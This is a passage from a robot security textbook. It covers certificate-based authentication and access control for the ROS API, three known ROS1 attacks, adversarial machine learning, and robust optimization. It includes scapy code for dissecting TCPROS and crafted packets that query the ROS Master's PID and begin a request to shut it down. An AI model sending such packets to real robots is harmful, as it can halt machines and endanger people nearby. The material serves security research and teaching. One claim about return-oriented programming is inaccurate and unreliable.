Standard cryptographic mechanisms can perfectly handle this job since cryptographic certificates can provide arbitrary assurances about the type, role, rights, or other conditions guards of an {API} call. We will postpone this discussion until later, and for now, assume that the identity of a node has been \emph{verified}\footnote{it is necessary to distinguish the verification of identity from its determination. The latter is the (distinct) notion of \emph{identification}, whereas the mere verification of a claimed {ID} is authentication. Neither implies the other in general.}.
\item[Authorization/Access control:] not all {API} calls are admissible for all nodes, and the decision of whether or not a call is legitimate requires an assured {ID}. For example, only the master should be allowed to send a shutdown signal. Likewise, a sensor is typically an entity that only emits information, but does not process it. As such, its rights should be restricted to publishing, but not subscribing. Reality is in most instances more complex than the simple classification of these two examples, but the bottom line is that the construction of a {ROS}\xspace system should respect \emph{separation of duties}, and \emph{need-to-know principles}, whose enforcement is up to access control mechanisms. Maintaining access control lists, granting and revoking rights is a separate administrative duty that may be taken over by the {ROS}\xspace master upon registration of nodes, but can equally well remain a duty of an external (human) system operator.
\item[Confidentiality:] while seemingly an obvious requirement, it may be considered here as the lowest priority goal, since many signals exchanged between {ROS}\xspace nodes may not classify as sensitive information, or may self-disclose instantly upon their effect. For example, if the signal is about a robot arm to move along a certain trajectory or stop in presence of an obstacle, the physically visible effect will indicate what the (perhaps confidential) signal has been.
\end{description}
An implementation of such cryptographic protection needs to be done with the
two-layer {API} structure in mind that {ROS}\xspace has, which instantiates the
above requirements individually different depending on the layer:
\begin{itemize}
\item On the control layer for signaling, confidentiality may not be a top
priority, since the physical reaction may reveal the signal anyway.
However, authenticity and access control are most crucial. Otherwise, it may be possible to tamper with the {ROS}\xspace communication graph (e.g., isolating publishers or presenting fake publishers to subscribers)
\item On the communication layer on which the actual
information flows, the priorities of the above requirements may change
accordingly, for example, putting integrity higher up on the
importance list.
\end{itemize}
Overall, securing the {API} is generally insufficient, since it can in any
case only address the ``cyber''-part of the cyber-physical system that a
robot is, and hence is only half of the story.
A comprehensive security design on the level of
orchestrating mechanisms appropriately is required and postponed until
Chapter \ref{chapter:security-networked-robotic-systems}. To illustrate cryptography as a
core, yet basic, mechanism, let us continue our deep dive into this example
for the next two sections, exhibiting their efficacy in Section
\ref{sec:defense-attack-examples}.
\subsection{Cryptographic Certificates}
Certificates are a concept from asymmetric cryptography, and loosely speaking are bindings of keys to identities, not per se saying how identity is defined or understood. Generically, any combination of attributes or other characteristics that uniquely distinguish an individual or entity inside a larger well-defined group can serve as an identity. The important point herein is that the term is always related to a group, relative to which the identity is one, and the same {ID} can lose its identifying property once the group changes by losing or gaining members. Given that {ROS}\xspace is a flexible and open system, the {ROS}\xspace master appears as the natural candidate point to establish an {IDM}. Once identities are defined and available, certificates can be issued. In its plain form, contains at least the following entries:
\begin{itemize}
\item information about the certificate owner's {ID}; here a device or component
\item one or more cryptographic keys that shall be linked to the identity
\item a digital signature from a trusted authority, called a {CA}, which is verifiable via a widely known (separate) public key.
\end{itemize}
To make our notation more rigorous and compact, we will use angled brackets to denote tuples of information items that are digitally signed under a key added as a subscript. That is, a certificate would be the above quadruple, singed under the public key $pk_{CA}$ of the {CA}, and denoted as
\begin{equation}\label{eqn:certificate}
\cert{\text{owner}, \text{key(s)}}{pk_{CA}}
\end{equation}
Continuing the notation, we will write $pk$ to mean \emph{public keys}, $sk$ to mean \emph{private keys}, which is primarily but not exclusively needed for verification of digital signatures here. The terms ``public'' and ``private'' are hereafter and throughout this article reserved for asymmetric cryptography, whereas the variable $k$, coined a \emph{secret} key, will exclusively be used to mean symmetric cryptographic schemes. We will keep and not change this notation in the whole work in the context of cryptography, where the user will be unambiguous.
For encryption of a message $m$ under a key $k$ or $pk$ we will use the likewise notation
\[
\enc{m}{k}, \text{resp.}\quad\enc{m}{pk}
\]
where the $k$ or $pk$ respectively points out the encryption as symmetric ($k$) or asymmetric $(pk)$. Note that this notation likewise applies for the symmetric counterpart of a digital certificate, which is a {MAC} (see, \emph{e.g.}\xspace, \citep{hansen_us_2011}). While \eqref{eqn:certificate} is computed by the signing function of the public key signature scheme of choice (e.g., {DSA} \citep{pornin_porninboletorg_deterministic_2013}, {RSA} \citep{jonsson_pkcs_2016} or others), the symmetric sibling would be hashing the (reversible) concatenation of data items under the respective secret key.
Standardized certificates extend the above list by a diverse set of additional information, which in our case can include arbitrary additional information about the registering component. Returning to our previous discussion on access control and its preceding authentication, adding security to the {ROS}\xspace {API} can proceed as follows, presuming a central {CA} that all parties, here being the vendors of components, and the administrative parties running the actual {ROS}\xspace system:
\begin{enumerate}
\item upon manufacturing, a device receives information about its type (sensor, actor, \emph{etc}\xspace), a unique {ID}, and any other information relevant or needed by the system engineers.
\item upon installment of the new component in the {ROS}\xspace system, the first step after physically connecting the device is registering it with the {ROS}\xspace master. To this end, the {ROS}\xspace master would perform the following steps:
\begin{enumerate}
\item check the certificate that the device brings in upon registration, to verify that the device is of an admissible type, and to determine which rights according to the security policy, the new component should receive. This granting or revocation of rights can be based on the device type, group that it is assigned to, or role that it should take in the system. Essentially, the process can resemble the standard approach of {RBAC} which we do not describe in deeper detail here.
\item once the {ROS}\xspace master has compiled a white-list of admissible {API} calls, it can itself issue a certificate for the device in which this list is an integral part so that upon every subsequent {API} call, the device can show the certificate that it received from the master, as an authorization token to make this call. This finishes the cryptographic part of the registration. The certificate would thus contain the following information, wrapped in a digital signature issued by the master:
\begin{equation}\label{eqn:api-call-signature}
\cert{\text{device {ID}}, \set{\text{list of permitted {API} calls}}}{pk_{\text{ROS-master}}}
\end{equation}
\end{enumerate}
\end{enumerate}
The computational cost of public-key cryptography may come in negative here, since the cryptographic validation of certificates each time an {API} call is made may significantly slow down the overall system performance. To escape this issue, one can use the first-time contact to establish a shared secret, and subsequently resort to symmetric methods of authentication by {MAC}. The overall narrative is that the certificate from the vendor is one-time required for the master to validate the component and determine its rights in the {ROS}\xspace system. Likewise, upon the \emph{first} {API} call to another component would need a cryptographic verification of the caller's rights as issued/granted by the {ROS}\xspace master via the caller's certificate. Once this verification succeeded, the component can run a secret key exchange (e.g., a Diffie-Hellman protocol or others), with the caller to establish a shared secret that it jointly stores together with the list of permitted {API} calls. Let us denote such a secret shared between components $A,B$ by $k_{A,B}$. It allows for fast verification of permission using symmetric encryption only. The scheme is generally an instance of challenge-response authentication:
\begin{enumerate}
\item The caller $A$ picks a random value $r$ and sends its {API} call \texttt{api-call}, together with $r$ encrypted under $k_{A,B}$, i.e., $B$ receives the {API} call message
\[
\enc{\texttt{api-call}, hash(\texttt{api-call})}{k_{a,b}}
\]
in which $hash$ is a cryptographic hash function. The purpose of it is to make false decryption recognizable by a mismatch of the checksum that the callee would compute after decrypting the message. If the \texttt{api-call} is itself subject to some redundancy scheme, say, if there is a textual representation of the called function or others, then the additional checksum may be spared; yet it is generally advisable to add such redundancy.
\item A correct decryption of the call is already an implicit authentication of the caller at the same time since the key under which the call correctly decrypts is uniquely associated with the caller. Thus, there is a binding of the call to the caller, and on the receiver's side, the key is in turn bound to the list of permitted {API} calls, thus before executing or responding to the call, the receiver can dig up the list of permitted calls from \eqref{eqn:api-call-signature} and check if the called method is among them.
\end{enumerate}
Summarizing the conceptual protection, we have the following sequence:
\begin{center}
\textsf{ authentication (identity verification) $\to$ authorization (check of rights by the {ROS}\xspace master) $\to$ registration (along which the {ROS}\xspace master issues a certificate to the {ROS}\xspace node as authorization token)}
\end{center}
with the \emph{first} {API} call proceeding along the sequence:
\begin{center}
\textsf{ verify the certificate of the caller $\to$ establish a shared secret and store the {API} permissions $\to$ check permissions and respond to call }
\end{center}
and all subsequent (second and later) calls processing along the faster lane:
\begin{center}
\textsf {symmetrically decrypt the call under the secret shared with the caller's {ID} $\to$ load the {API} permissions of the caller $\to$ check permissions and respond to call.}
\end{center}
This presentation is intentionally generic and in a practical implementation needs more details, such as adding the caller's and receiver's identities in the transmissions. An aspect left untouched so far concerns key and certificate management, which we look into next.
\subsection{Certificate and Key Management}
Managing credentials is human labor to the extent where it concerns certificates, which have an expiration date. Certificates need to be stored in a secured location, to prevent them from adversarial replacement; a {TPM} offers a suitable hardware-based solution for this \citep{dieber_security_2017}. Other certificates are in the above process directly computed by the {ROS}\xspace master itself, which is yet best implemented in the {TPM} as well, as it requires the storage and secured use of private signature keys.
\paragraph{Registration of Components:} it is generally advisable to pursue a whitelisting approach in the registration checks that the {ROS}\xspace master runs. That is, the {ROS}\xspace master should store (non-malleably) a list of permitted devices, against which a newly registered component is checked, and rejected upon not being on the white list. Otherwise, if the device is admissible, the {ROS}\xspace master can open a {TLS} session to secure the communication with the new device, using a security suite with forward secrecy (e.g., ECDHE-ECDSA-AES256-GCM-SHA384, \emph{i.e.}\xspace, Diffie-Hellman key exchange, digital signatures, symmetric encryption by the {AES} \citep{mccloghrie_advanced_2004} in {GCM} \citep{choudhury_aes_2008}, and with $hash$ being the {SHA} algorithm with 384 bit output \citep{hansen_us_2011,hansen_us_2006}). The point of forward secrecy herein means that the keys are short-lived, in the sense that the discovery of a key for one session does not help to decrypt any follow-up sessions. In other words, the key agreement needs to be repeated from time to time, leaving the long-term secrets to be only the private signature keys, which no component other than the {ROS}\xspace master needs to store. Essentially, the public key of the new device is only used to authenticating the parameters of the key agreement (Diffie-Hellman over elliptic curves in this example), but not for the encryption of the session key for the registration process (i.e., symmetric encryption of messages for this communication). Once the {TLS} session is established, the {ROS}\xspace master can replace all pre-installed keys, \emph{a.k.a.}\xspace transport keys, and certificates with new ones. A malicious manufacturer can, depending on the key exchange mechanism, still record all messages transmitted during the replacement of the transport keys can thus get hold of the new keys (and certificates). To prevent this, one needs to run the key replacement protocols in a closed environment, \emph{e.g.}\xspace, under the supervision of the system administrator and other technical protections.
\paragraph{Unregistering of a Component:} the event of unregistering a component is more tricky since if symmetric encryption is there to replace a certificate-based authentication (for efficiency reasons), the involved keys are only shared between two nodes $A$ and $B$, while node $B$ only actively interacts with the {ROS}\xspace master for the de-registration, but not with node $A$. To resolve this, we can make use of the {API} callbacks to get notified about a parameter change. Specifically, once a component $B$ was registered with the {ROS}\xspace master, the master can maintain a status parameter for this component, on which a component $A$ that $B$ later makes contact with can place a hook to receive a callback upon a status change related to $B$. This callback, in turn, would require $A$ to present $B$'s certificate also to the {ROS}\xspace master, as assurance that (i) $B$ has sought contact with $A$, and (ii) that $A$ is hence permitted to receive the respective callback. If the status of $B$ changes upon a de-registration, and $A$ receives the respective call from the {ROS}\xspace master, $A$ can simply remove the stored secret key $k_{A,B}$, to effectively blacklist the de-registered device. Similarly, the {ROS}\xspace master can actively maintain a blacklist of certificate serial numbers, to which the serial number of the certificate of $B$ is added after the de-registration.
\paragraph{Using Symmetric Cryptography:}
Public key cryptography has the appeal of relatively simpler key management, coming with the price-tag of shorter-lived keys and the need to replace certificates and keys from time to time. This incurs both, an investment of time and money, and as such could be abandoned in favor of a seemingly simpler alternative of using symmetric cryptographic primitives. Indeed, it is possible to accomplish authentication, confidential communication and authorization purely on grounds of symmetric cryptography, such as done in systems like Kerberos \cite{neumann_kerberos_2005}, or multipath transmission and -authentication techniques \citep{rass_network_2013,rass_multipath_2010,rass_community-based_2019}. The latter techniques also lend themselves to quantification of security with help of game theory \citep{rass_secure_2015}, and the systematic optimization of the key management in the network \cite{rass_perfectly_2018}. In light of this research, however, not having yet grown beyond academic experimental results, we leave this road unexplored hereafter.
\subsection{How Defenses Work}\label{sec:defense-attack-examples}
Let us close this section with a glance at how attacks on {ROS}\xspace use the {API}, and where the cryptographic protection would cause a failure of the attack sequence. We borrowed the following three examples provided by \cite{koubaa_penetration_2020}, referring to {ROS}1 (i.e., not to be mixed up with its successor project {ROS}\xspace 2). Note, that more attack vectors to {ROS}\xspace are known and can be found in the cited literature. The attacks are action sequences between the {ROS}\xspace master \textsc{M}, a publisher \textsc{P}, a subscriber \textsc{S}, and the adversary \textsc{A}.
\paragraph{Example 1: Stealth Publisher Attack}
This attack is about injections of false data into a running {ROS}\xspace application. The attacker disguises itself as a legitimate publisher and issues a \texttt{publisherUpdate} to replace the legitimate publishers from the subscribers' points of view. Figure \ref{fig:stealth-publisher-attack} displays the sequence diagram, in which the unprotected call to publisherUpdate is vital to the issue. With this call under access control and prior authentication, the attacker's node's call would be rejected.
\begin{figure}
\centering
\includegraphics{figures/stealth-publisher-attack.pdf}
\caption{Sequence diagram of a stealth publisher attack}
\label{fig:stealth-publisher-attack}
\end{figure}
\paragraph{Example 2: Malicious Parameter Update Attack}
Here, the attacker targets a node \textsc{N} and unsubscribes on its victim's behalf to any future parameter updates, aiming at sending those updates itself. Figure \ref{fig:malicious-param-attack} displays the sequence diagram. Cryptographic authentication with access control would enforce here that only the previously registering identity can later unregister for the parameter updates. Applied to this, the attacker would have to forge its victim's identity to succeed in unsubscribing on \textsc{N}'s behalf. This either requires a forged certificate or knowledge of the secret key shared between \textsc{N} or the {ROS}\xspace master. The latter is only possible by hijacking the node \textsc{N} itself or hacking into \textsc{N}'s key store. In both cases, the adversary has, effectively, become node \textsc{N}, at least from a cryptographic perspective on how identities are defined (namely by knowledge of secret keys).
\begin{figure}
\centering
\includegraphics{figures/malicious-param-attack.pdf}
\caption{Sequence diagram of a malicious parameter update attack}
\label{fig:malicious-param-attack}
\end{figure}
\begin{figure}
\centering
\includegraphics{figures/service-isolation-attack.pdf}
\caption{Sequence diagram of a service isolation attack}
\label{fig:service-isolation-attack}
\end{figure}
\paragraph{Example 3: Service Isolation Attack}
Here, the attacker directly asks the {ROS}\xspace master to unregister a service, so that another node (here \textsc{C}) cannot access that service subsequently. Figure \ref{fig:service-isolation-attack} displays the sequence diagram Again, access control to the {API} call \texttt{unregisterService} can prevent this.
\section{Vulnerabilities of AI-Enabled Robotic Systems}\label{sec:ai-enabled-robotics}
Attacks are not limited to the interplay of the robot software and hardware components themselves, but may also target the behavior of individual components as such. Among these is the planning of actions, often employing {AI} algorithms at the core and decision-making logic. An adversary can try to influence both in several ways, such as:
\begin{enumerate}
\item replacement of entire components in hard- or software with parts that s/he can control
\item manipulate the behavior of algorithms by properly crafted inputs, without touching the algorithm itself
\end{enumerate}
Taking the first option requires the adversary to interfere with the manufacturing process of the robot itself. Striving for the second option is in some cases easier if proper inputs can be crafted to mislead the system into unwanted behaviors. The latter has grown into its own branch of security research known as \emph{return-oriented programming} \citep{ruan_survey_2016}, which is basically the art of exploiting buffer overflows to the end of running arbitrary code by properly crafted inputs to the system. Secure coding practices are the natural countermeasure here. Other techniques target the planning or {AI} components more directly and over more mathematical routes, and we designate the discussion below to more details on this.
To protect against replacements, the whole spectrum of production line security applies, ranging from transport codes to assure the authenticity of parts along supply chains, and the loading and execution of digitally signed code from trusted vendors only. Cryptographic parts in the system, as well as any source of randomness, require particular attention and special security. For example, random number generators must not be predictable in the sense that the attacker should be unable to tell (or at least roughly anticipate) what future random values may come up based on past recordings. This requirement is obvious in examples like encryption of streams, where the attacker should not successfully forecast the key stream for the communication. Certified components like cryptographic random number generators naturally satisfy this requirement. However, the need extends to any use of game theory too. Specifically, games implicitly assume that neither player can reliably forecast the opponent's actions, and game-theoretic defenses, such as moving targets, strongly rely on this. Random number generators are therefore crucially required to (i) be unpredictable to the extent possible, and (ii) to assure the sought shape of the distribution of random numbers (for cryptography, this is mostly a uniform distribution, but for game theory, arbitrary distributions can arise).
Adopting a quantitative approach to randomness, it is tempting to think of entropy as the right measure here, but this can be misleading if the specification is unclear about which type of entropy: Shannon-entropy, which is a widely understood default of the (unspecific) term ``entropy'', only relates to ``average encoding length'', but it is \emph{not true} that a random variable with large Shannon entropy is hard to predict (in fact, one can easily construct random variables with arbitrarily high Shannon entropy but which are trivial to predict future values for). For random generators, \emph{min-entropy} is the correct measure of quality when it comes to unpredictability. Second, the genuineness of random generators needs to be assured (as for any other component), to avoid so-called \emph{randomness substitution attacks}, by which even quantum cryptographic systems could be broken \citep{rass_authentic_2020}. This again comes back to the requirement of manufacturing only original parts with assured authenticity. The problem is particularly prevalent in password security, since measuring password strength in terms of entropy should be avoided (for being misleading in possibly several ways); game theory can also help here with proper models to design password choice regimes for robustness \citep{rass_password_2018}.
Overall, the replacement of parts, whether in hard- or software, is only required if the parts have a ``fixed'' function that does not change over time. {AI} is different here in starting off as a rather unspecific algorithm ``variable'' functionality that is, online or offline, trained, resp. fitted, to its designated purpose. Examples include planning algorithms, relying on a formalized definition of the world built into the algorithm as an ontology, or more flexible online-learning algorithms such as deep nets, regression or classification models, etc. Attack vectors then arise upon replacing the ontology (or general world description) for the planning algorithm, or by manipulating the training data for some {AI} component. The field of adversarial machine learning \citep{bianchin_secure_2020,vorobeychik_adversarial_2018,liu_adversarial_2020,zhang2015secure,zhang2017game,zhang_game-theoretic_2017,zhang2018game} is about demonstrating how sensitive planning and {AI} algorithms can react upon small changes in their inputs (whether for training or processing), and how to make the algorithms more robust. In a nutshell, robustness is gained by the explicit inclusion of a random error in the training data for the training algorithm, so that a likewise error in the later inputs to the system will not cause the {AI} to come up with the wrong decisions. \emph{Robust game theory} \citep{aghassi_robust_2006} provides a formal framework, seeking not to optimize the expected behavior, but rather seeking to optimize the worst-possible behavior within a limited error deviation from the proper inputs. That is abstractly speaking, if $f(\vec x,\vec y)$ denotes the output under environmental conditions $\vec x$ and our own action $\vec y$, conventional {AI}, decision making or game theory would search for some action $\vec y$ to optimize
\begin{equation}\label{eqn:conventional-optimization}
\text{best action }\vec y^*=\mathop{\text{argmax}}_{\vec y} f(\vec x,\vec y)\text{ in the current situation }\vec x,\nonumber
\end{equation}
assuming a maximization here (without loss of generality). Contrary to this, \emph{robust optimization} would allow for some error $\varepsilon$ to occur in the description $\vec x$ of the situation, and perhaps even in the actions that we may take (game-theoretically, this leads to the concept of a trembling hand equilibrium); so a robust choice of a
\begin{align}
\text{best action is }\vec y^*=&\mathop{\text{argmax}}_{\vec y} \overbrace{\left(\min_{\norm{\delta_1},\norm{\delta_2}\leq\varepsilon} f(\vec x+\delta_1,\vec y+\delta_2)\right)}^{\text{worst case outcome under errors}}\label{eqn:robust-optimization}\\
&\text{ in the current situation }\vec x.\nonumber
\end{align}
Problem \eqref{eqn:robust-optimization} states that within some pre-defined (small) tolerance of $\varepsilon>0$, we allow a deviation $\delta_1$ in any of the input values $\vec x$, and another likewise bounded deviation $\delta_2$ in the action that we take, and optimize the worst that can happen under these possible deviations, which is the minimization over the deviations (the norms $\norm{\delta_1},\norm{\delta_2}$ appear here only for technical reasons of the optimization and only express that the errors cannot be arbitrarily large). Robust {AI} instantiates \eqref{eqn:robust-optimization} by letting $f$ be the deviation between training data and the current output of the {AI} algorithm, e.g., a deep neural network. Planning algorithms can be designed as an instance of \eqref{eqn:robust-optimization} by letting $\varepsilon$ be interpreted as a measure of how accurate sensor information can be. In that case, $\varepsilon$ has a direct interpretation of necessary accuracy for the sensor data to lead to reasonable decisions; or equivalently, the attacker can manipulate sensor data up to a deviation of $\varepsilon$ before the processing algorithm outputs unusable decisions. This is especially useful for image or object recognition: many examples of adversarial machine learning apply to manipulations of images that are invisible for the human eye, but can strongly interfere with the pattern recognition algorithm if it is based on {AI}, as \cite{yuan_adversarial_2018} impressively demonstrates. The robust training of an {AI} algorithm can avoid the problem by allowing for the training images to deviate slightly at random (up to a tolerance of $\varepsilon$), but still yielding the right results. The exact magnitude of $\varepsilon$ (and hence the particular norm in \eqref{eqn:robust-optimization} then depends on how much difference $<\varepsilon$ would elude the human eye, and at which difference $>\varepsilon$ the manipulation would become visible and recognizable in the training data already).
Zero-sum games, as we cover in detail in Chapter \ref{sec:game-theory-intro}, assign the inner optimization to the adversary directly, thus seeking the best decision under anything that the attacker can do. The error tolerance $\varepsilon$ imposed in \eqref{eqn:robust-optimization} is then replaced by the entire action space of the attacker (thus retaining some limitation on what can happen, only in a different way as by a numeric error), but the concept remains the same: zero-sum game models for security provide the best advice against any action that the attacker can mount within a pre-defined set of possibilities. The game in Section \ref{sec:cut-the-rope} is one particular instance of such reasoning. We remark, however, that the unpredictability of actions is not often address in game-theoretic optimizations, but are not difficult to include in a multi-criteria game for decision making \citep{rass_security_2018,zhu_security_2020}. Nonetheless, a randomness substitution attack against a game-theoretic defense system could be the replacement of an equilibrium strategy by what the adversary prefers. This can be achieved by replacing the random generators used for the decision component. This closes the loop back to the need of having authentic components and trusted platforms to run all algorithms. Likewise, crafted inputs can make {AI} decision support components behave in any way that the adversary prefers unless the training was performed using robust methods. It is thus generally not recommended to take {AI} components just from ``ready-to-use'' libraries when constructing a robot, but rather to carefully evaluate the implementation and training of all decision support components, with an eye on robustness.
\chapter{Security of Networked Robotic Systems}
\label{chapter:security-networked-robotic-systems}
Robotics is the art of system integration. An art that aims to build machines that operate autonomously: robots. A robot is often understood as a system with networks of devices. A system of systems. One that comprises sensors to perceive its environment, actuators to act on it and a compute substrate (often CPU-based) that processes it all and commands according to its use case. All these devices are interconnected through one or several networks. Networking security in robotics is thereby of utmost importance.
The following sections will summarize some security considerations for networked robotic systems. First, we will discuss intra-robot network security in {ROS}\xspace. Second, we will analyze inter-robot network security aspects for an industrial setup and finally, we will look into more advanced topics to consider when looking at networked robotic systems.
\section{Security in {ROS}\xspace Networked Systems}
\label{section:security-ros-networked}
{ROS}\xspace is rapidly becoming a standard in robotics however as previously introduced, it was not designed with security in mind. Nonetheless, it presents one of the most widely adopted and accepted examples of intra-networked robotic systems. All components that form {ROS}\xspace-based robots are abstracted and integrated into a common data structure: the ( {ROS}\xspace) \textbf{computational graph}. It models the overall robotic behavior through each individual computation represented as a Node, communicating with other computation Nodes through Topics (a continuous dataflow of information within a databus) and other abstractions. The computational graph not only helps visualize the robotic behavior but also drives the design process by partitioning each robotic computation into Nodes. More specifically, it abstracts the networked nature of robotic systems and helps software engineers develop the behavior without caring about the underlying networks connecting robot components (sensors, actuators, and cognition, among others).
From an electrical engineering's perspective, the computational graph can be understood as the \emph{schematic} of the overall robot whereas the \emph{layout} (following with electrical engineering terms), the one capturing the physical networks interconnecting robot components, is often denominated as the ( {ROS}\xspace) \textbf{data layer graph}. The data layer graph thereby represents the physical groupings and connections of robot components that implement the behavior modeled in the computational graph.
From a security perspective, we should care about both. Figure \ref{fig:ros_networked_1} provides a simplified example. The computational graph reflects functional aspects of the robot and thereby should be hardened to avoid exposed flaws that empower attackers to influence the robot behavior. At the same time, the data layer graph reflects the physical network map of the robot and any attack vector will need to leverage entry points in such a physical map. \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope} is one game-theoretic model played on exactly the logical graph-theoretic layout of a system, describing penetration attempts. Other game models focus on interceptions in the orchestration of components, such as the synchronization between {UAV}; see Section \ref{sec:example-games} for this and further examples).
\begin{figure}[!h]
\centering
\includegraphics[width=0.9\textwidth]{figures/computational_graph.jpg}
\includegraphics[width=0.9\textwidth]{figures/data_layer_graph.jpg}
\caption{An exemplary {ROS}\xspace-based robotic system represented by its abstractions, the computational graph (top) and the data layer graph (bottom). }
\label{fig:ros_networked_1}
\end{figure}
In this section, we analyze both and walk the reader through common security issues observed in {ROS}\xspace networked systems. Particularly, we highlight how through exploiting the {ROS}\xspace architecture or the underlying networking protocols, security is easily compromised inside a robot's network.
\subsection{Instrumenting the {ROS}\xspace data layer graph}
As with other branches of testing, security testing often requires engineers to instrument their subjects so that results become measurable. To explore both the {ROS}\xspace computational graph and the data layer graph, we develop a Python implementation of the TCPROS transport layer for {ROS}\xspace. This implementation is built on top of \href{https://github.com/secdev/scapy}{scapy}, a packet manipulation framework that can forge or decode packets of a wide number of protocols. Listing \ref{lst:tcpros_dissector} presents a portion of one such implementation\footnote{\textbf{Disclaimer}: By no means the authors or Alias Robotics encourages or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material damages. The portion of the code disclosed is meant only for academic purposes.} often included in security-oriented toolboxes like alurity~\citep{mayoral2020alurity}.
\lstset{language=Python}
\lstset{label={lst:tcpros_dissector}}
\lstset{basicstyle=\tiny,
numbers=left,
firstnumber=1,
stepnumber=1,
commentstyle=\color{lightgray}}
\lstset{caption={
The portion of a package dissector and crafter for TCPROS transport layer targeting {ROS}\xspace Melodic Morenia 1.14.5.
}
}
\lstset{escapeinside={<@}{@>}}
\begin{lstlisting}
# Copyright (C) Alias Robotics <contact@aliasrobotics.com>
# This program is published under a GPLv3 license
# Author:
# Victor Mayoral-Vilches <victor@aliasrobotics.com>
"""
TCPROS transport layer for ROS Melodic Morenia 1.14.5
"""
# scapy.contrib.description = TCPROS transport layer for ROS Melodic Morenia
# scapy.contrib.status = loads
# scapy.contrib.name = tcpros
import struct
from scapy.fields import (
LEIntField,
StrLenField,
FieldLenField,
StrFixedLenField,
PacketField,
ByteField,
StrField,
)
from scapy.layers.inet import TCP
from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse
from scapy.packet import *
class TCPROS(Packet):
"""
TCPROS is a transport layer for ROS Messages and Services. It uses
standard TCP/IP sockets for transporting message data. Inbound
connections are received via a TCP Server Socket with a header
containing message data type and routing information.
This class focuses on capturing the ROS Slave API
An example package is presented below:
B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64 ....&...callerid
3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35 =/rostopic_88305
5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00 _1591538787501..
00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00 ..latching=1'...
6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 md5sum=992ce8a16
38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37 87cec8c8bd883ec7
33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61 3ca41d1....messa
67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74 ge_definition=st
72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F ring data.....to
70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00 pic=/chatter....
74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74 type=std_msgs/St
72 69 6E 67 ring
Sources:
- http://wiki.ros.org/ROS/TCPROS
- http://wiki.ros.org/ROS/Connectio
- https://docs.python.org/3/library/struct.html
- https://scapy.readthedocs.io/en/latest/build_dissect.html
TODO:
- Extend to support subscriber's interactions
- Unify with subscriber's header
NOTES:
- 4-byte length + [4-byte field length + field=value ]*
- All length fields are little-endian integers. Field names and values are strings.
- Cooked as of ROS Melodic Morenia v1.14.5.
"""
name = "TCPROS"
def guess_payload_class(self, payload):
string_payload = payload.decode("iso-8859-1") # decode to string for search
# flag indicating if the TCPROS encoding format is met (at a general level)
# 4-byte length + [4-byte field length + field=value ]*
total_length = len(payload)
total_length_payload = struct.unpack("<I", payload[:4])[0]
remain = payload[4:]
remain_len = len(remain)
# flag of the encoding format
flag_encoding_format = (total_length > total_length_payload) and (
total_length_payload == remain_len
)
flag_encoding_format_subfields = False
if flag_encoding_format:
# flag indicating that sub-fields meet
# TCPROS encoding format:
# [4-byte field length + field=value ]*
flag_encoding_format_subfields = True
while remain:
field_len_bytes = struct.unpack("<I", remain[:4])[0]
current = remain[4 : 4 + field_len_bytes]
remain = remain[4 + field_len_bytes :]
if int(field_len_bytes) != len(current):
# print("BREAKING - int(field_len_bytes) != len(current)")
flag_encoding_format_subfields = False
break
if (
"callerid" in string_payload
and flag_encoding_format
and flag_encoding_format_subfields
):
return TCPROSHeader
elif flag_encoding_format and flag_encoding_format_subfields:
return TCPROSBody
elif flag_encoding_format:
return TCPROSBodyVariation
elif "HTTP/1.1" in string_payload and "text/xml" in string_payload:
# NOTE:
# - "HTTP/1.1": corresponds with melodic
# - "HTTP/0.3": corresponds with kinetic
# return HTTPROS # corresponds with XML-RPC calls (Master and Parameter APIs)
return HTTP # use old-fashioned HTTP, which gives less control over fields
elif "HTTP/1.0" in string_payload and "text/xml" in string_payload:
return HTTP # use old-fashioned HTTP, which gives less control over fields
else:
# return Packet.guess_payload_class(self, payload)
return Raw(self, payload) # returns Raw layer grouping not only the
# payload but this layer itself.
...
\end{lstlisting}
\subsection{The {ROS}\xspace computational graph}
Armed with listing \ref{lst:tcpros_dissector}, introspecting the computational graph in search for insecurities becomes a simpler process. Starting from the reproduction of common requests between nodes, a researcher would incrementally use a variety of techniques to challenge the resilience of the computational graph when presented with uncommon or unexpected packages. For example, listing \ref{lst:getpid} shows how to craft a package to obtain the {PID} of the {ROS}\xspace Master (local process {PID} in the machine where it's running). This information disclosure vulnerability leads to no further security hazards however, variations of this construct will. Another example introduced in listing \ref{lst:shutdown} allows intra-network attacks that will frustrate the computational graph as a whole, shutting it down.
\lstset{caption={Default package to execute "getPid" method of Master API}}
\lstset{label={lst:getpid}}
\begin{lstlisting}
package_getPid = (
IP(version=4, ihl=5, tos=0, flags=2, frag=0, dst="12.0.0.2")
/ TCP(
sport=20000,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"159",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
Method=b"POST",
Path=b"/RPC2",
Http_Version=b"HTTP/1.1",
)
/ XMLRPC()
/ XMLRPCCall(
version=b"<?xml version='1.0'?>\n",
methodcall_opentag=b"<methodCall>\n",
methodname_opentag=b"<methodName>",
methodname=b"getPid",
methodname_closetag=b"</methodName>\n",
params_opentag=b"<params>\n",
params=b"<param>\n<value><string>/rostopic</string></value>\n</param>\n",
params_closetag=b"</params>\n",
methodcall_closetag=b"</methodCall>\n",
)
)
\end{lstlisting}
\lstset{caption={Default package to execute "shutdown" method of Master API}}
\lstset{label={lst:shutdown}}
\begin{lstlisting}
package_shutdown = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20001,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
